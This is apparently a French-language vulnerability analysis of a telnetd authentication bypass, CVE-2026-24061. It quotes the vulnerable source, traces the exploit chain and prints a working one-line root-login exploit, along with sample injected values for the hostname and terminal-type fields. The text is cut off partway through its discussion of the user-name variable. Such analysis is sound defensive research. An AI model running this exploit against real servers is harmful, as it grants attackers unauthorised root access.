
Analyse technique approfondie et scanner pour CVE-2026-24061, un contournement d'authentification critique dans GNU InetUtils telnetd, incluant la chaîne d'exploitation, le PoC et les détails du correctif.
CVE-2026-24061 est une vulnérabilité critique (CVSS 9.8) de contournement d'authentification à distance dans GNU InetUtils telnetd qui permet à des attaquants non authentifiés d'obtenir un accès root instantané. La vulnérabilité provient d'une mauvaise assainissement de la variable d'environnement USER, qui est transmise directement à /usr/bin/login comme argument de ligne de commande. En définissant USER=-f root, un attaquant déclenche le drapeau -f de login, qui contourne entièrement l'authentification.
Versions affectées : GNU InetUtils 1.9.3 à 2.7 Type de vulnérabilité : CWE-88 (Injection d'arguments) Date de découverte : 20 janvier 2026 Découvreur : Kyu Neushwaistein (alias Carlos Cortes Alvarez)
telnetd/telnetd.c, lignes ~49-63)La vulnérabilité commence par une chaîne de modèle de commande qui définit comment telnetd invoque /usr/bin/login :
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
Observation clé : Sur les systèmes non-Solaris, le modèle utilise :
%?u{-f %u}{%U} - C'est une expression conditionnelle signifiant :
user_name est défini (%u), utiliser -f %u (connexion automatique authentifiée)%U (la variable d'environnement USER comme solution de repli)Le problème critique : %U se développe en la variable d'environnement USER brute et non assainie.
telnetd/utility.c, _var_short_name())La chaîne de modèle est traitée par expand_line(), qui appelle _var_short_name() pour développer les espaces réservés. Voici le code vulnérable :
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIELLEMENT VULNÉRABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIELLEMENT VULNÉRABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNÉRABLE !
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
Le bug critique (cas 'U') : La variable d'environnement USER est récupérée via getenv() et transmise sans aucun assainissement. Lorsqu'un attaquant définit USER=-f root, cela devient partie intégrante de la ligne de commande de login.
telnetd/pty.c, start_login())La chaîne d'invocation de login développée est exécutée dans start_login() :
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
L'attaquant se connecte à telnetd (port 23)
La négociation d'options Telnet se produit :
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (demande de l'environnement)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SELe serveur traite la variable USER :
getenv("USER") retourne -f root%U se développe en -f root/usr/bin/login -p -h <hostname> -f rootLogin interprète -f root :
-f signifie « ignorer l'authentification, l'utilisateur est pré-authentifié »root est le nom d'utilisateur avec lequel se connecter# Sur la machine de l'attaquant :
USER='-f root' telnet -a <ip_cible>
Le drapeau -a active le mode de connexion automatique, qui envoie la variable d'environnement USER au serveur.
L'avis de sécurité note explicitement : « Il existe donc un potentiel de vulnérabilités similaires pour d'autres variables. » Analysons chaque variable dans _var_short_name() :
| Var | Nom | Source | Contrôlable par l'utilisateur ? | Assainie ? | Surface d'attaque |
|---|---|---|---|---|---|
%U | Variable env. USER | getenv("USER") | OUI (via NEW_ENVIRON) | NON | CRITIQUE - CVE-2026-24061 |
%h | remote_hostname | Recherche DNS/PTR | Partielle (enregistrement PTR) | NON | ÉLEVÉE |
%T | terminaltype | Option TERMINAL-TYPE | OUI | NON | MOYENNE |
%u | user_name | Négociation de protocole | OUI | NON | MOYENNE (nécessite une authentification) |
%l | local_hostname | Configuration système | NON | N/A | FAIBLE |
%L | line (TTY) | Alloué par le système | NON | N/A | FAIBLE |
%t | nom court tty | Alloué par le système | NON | N/A | FAIBLE |
%d | date/heure | Horloge système | NON | N/A | AUCUNE |
%a | statut d'authentification | État interne | NON | N/A | AUCUNE |
%h - Nom d'hôte distant (RISQUE ÉLEVÉ)Source : Rempli dans telnetd_setup() depuis telnetd.c via getnameinfo() ou gethostbyaddr().
Le problème : Si un attaquant contrôle son enregistrement PTR (DNS inverse), il pourrait potentiellement injecter :
foo -f root
Comme nom d'hôte, qui deviendrait partie intégrante de l'argument -h :
/usr/bin/login -p -h "foo -f root" ...
Difficulté d'exploitation :
Scénario réel : Un attaquant contrôlant l'enregistrement PTR de son IP (courant pour les fournisseurs VPS) pourrait définir son DNS inverse à une valeur malveillante.
%T - Type de terminal (RISQUE MOYEN)Source : Reçu via la sous-négociation Telnet TERMINAL-TYPE, stocké dans la variable terminaltype.
Le problème : La chaîne de type de terminal est contrôlée par l'attaquant et non assainie :
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
Utilisation dans les modèles :
%?T{-t %T} - Utilisé avec le drapeau -t%?T{%T} - Inséré directementAttaque potentielle :
TERMINAL-TYPE: xterm -f root
Cependant, l'exploitation dépend de :
%T (actuellement uniquement Solaris)-t%u - Nom d'utilisateur authentifié (RISQUE MOYEN)Source : Défini pendant la négociation d'authentification.
Le problème : Utilisé dans le modèle -f %u :
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"